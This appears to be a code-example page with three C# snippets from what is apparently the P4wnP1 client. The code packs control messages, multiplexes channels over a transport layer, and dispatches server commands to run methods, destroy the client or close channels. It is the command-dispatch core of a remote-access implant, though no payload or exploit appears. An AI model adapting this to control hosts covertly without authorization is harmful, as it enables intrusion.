Пример #1
0
        public void SendControlMessage(UInt32 msg_type, byte[] data)
        {
            List <byte> msg = Struct.packUInt32(msg_type);

            if (data != null)
            {
                msg = Struct.packByteArray(data, msg);
            }


            this.control_channel.write(msg.ToArray());
        }
        public byte[] createResponse()
        {
            // this function should only be called when the method has finished (finished member == $true), but anyway, this isn't checked here

            // first response field is uint32 method id
            List <byte> response = Struct.packUInt32(this.id);

            // next field is a ubyte indicating success or error (0 success, everything else error)
            if (this.error)
            {
                response = Struct.packByte((byte)1, response);                            // indicating an error
                response = Struct.packNullTerminatedString(this.error_message, response); //append error message
                return(response.ToArray());                                               // hand back error response
            }

            response = Struct.packByte((byte)0, response); // add success field
            response = Struct.packByteArray(this.result, response);

            return(response.ToArray()); // return result
        }
Пример #3
0
        private void __processTransportLayerOutput()
        {
            while (this.running)
            {
                //stop processing until signal is received
                while (true)
                {
                    if (this.eventChannelOutputNeedsToBeProcessed.WaitOne(100) || !this.running)
                    {
                        break;
                    }
                }


                //abort if we aren't in run state anymore
                if (!this.running)
                {
                    return;
                }

                Monitor.Enter(this.lockChannels);
                ICollection keys = this.outChannels.Keys;

                Console.WriteLine(String.Format("Out channel count {0}", keys.Count));

                foreach (Object key in keys)
                {
                    Channel channel = (Channel)this.outChannels[key];

                    //while (channel.hasPendingOutData())
                    if (channel.hasPendingOutData()) //we only process a single chunk per channel (load balancing) and we only deliver data if the channel is linked
                    {
                        UInt32 ch_id = (UInt32)channel.ID;

                        if ((ch_id == 0) || channel.isLinked) // send output only if channel is linked (P4wnP1 knows about it) or it is the control channel (id 0)
                        {
                            byte[] data = channel.DequeueOutput();

                            List <byte> stream = Struct.packUInt32(ch_id);
                            stream = Struct.packByteArray(data, stream);

                            //Console.WriteLine("TransportLayer: trying to push channel data");

                            if (ch_id == 0)
                            {
                                this.tl.writeOutputStream(stream.ToArray(), false);
                            }
                            else
                            {
                                this.tl.writeOutputStream(stream.ToArray(), true);
                            }
                        }
                    }

                    if (channel.hasPendingOutData())
                    {
                        this.eventChannelOutputNeedsToBeProcessed.Set();                              //reenable event, if there's still data to process
                    }
                }
                Monitor.Exit(this.lockChannels);
            }
        }
Пример #4
0
        private void __processTransportLayerInput()
        {
            //For now only input of control channel has to be delivered
            // Input for ProcessChannels (STDIN) is directly written to the STDIN pipe of the process (when TransportLayer enqueues data)


            while (this.running)
            {
                this.tl.waitForData();  // blocks if no input from transport layer

                /*
                 * hand over data to respective channels
                 */
                while (this.tl.hasData()) //as long as linklayer has data
                {
                    List <byte> stream = new List <byte>(this.tl.readInputStream());
                    UInt32      ch_id  = Struct.extractUInt32(stream);

                    byte[] data = stream.ToArray(); //the extract method removed the first elements from the List<byte> and we convert back to an array now

                    Channel target_ch = this.GetChannel(ch_id);
                    if (target_ch == null)
                    {
                        Console.WriteLine(String.Format("Received data for channel with ID {0}, this channel doesn't exist!", ch_id));
                        continue;
                    }

                    target_ch.EnqueueInput(data);
                }

                /*
                 * process control channel data
                 */
                while (control_channel.hasPendingInData())
                {
                    List <byte> data = Struct.packByteArray(control_channel.read());

                    // extract control message type
                    UInt32 CtrlMessageType = Struct.extractUInt32(data);

                    switch (CtrlMessageType)
                    {
                    case CTRL_MSG_FROM_SERVER_RUN_METHOD:
                        ClientMethod new_method = new ClientMethod(data);
                        this.addRequestedClientMethodToQueue(new_method);

                        Console.WriteLine(String.Format("Received control message RUN_METHOD! Method ID: {0}, Method Name: {1}, Method Args: {2}", new_method.id, new_method.name, new_method.args));
                        break;

                    case CTRL_MSG_FROM_SERVER_DESTROY:
                        this.SendControlMessage(Client.CTRL_MSG_FROM_CLIENT_DESTROY_RESPONSE);
                        this.stop();
                        break;

                    case CTRL_MSG_FROM_SERVER_CLOSE_CHANNEL:
                        UInt32  channel_id = Struct.extractUInt32(data);
                        Channel ch         = this.GetChannel(channel_id);
                        if (ch != null)
                        {
                            ch.CloseRequestedForLocal = true;
                        }
                        break;

                    default:
                        String data_utf8 = Encoding.UTF8.GetString(data.ToArray());
                        Console.WriteLine(String.Format("Received unknown MESSAGE TYPE for control channel! MessageType: {0}, Data: {1}", CtrlMessageType, data_utf8));
                        break;
                    }
                }
            }
        }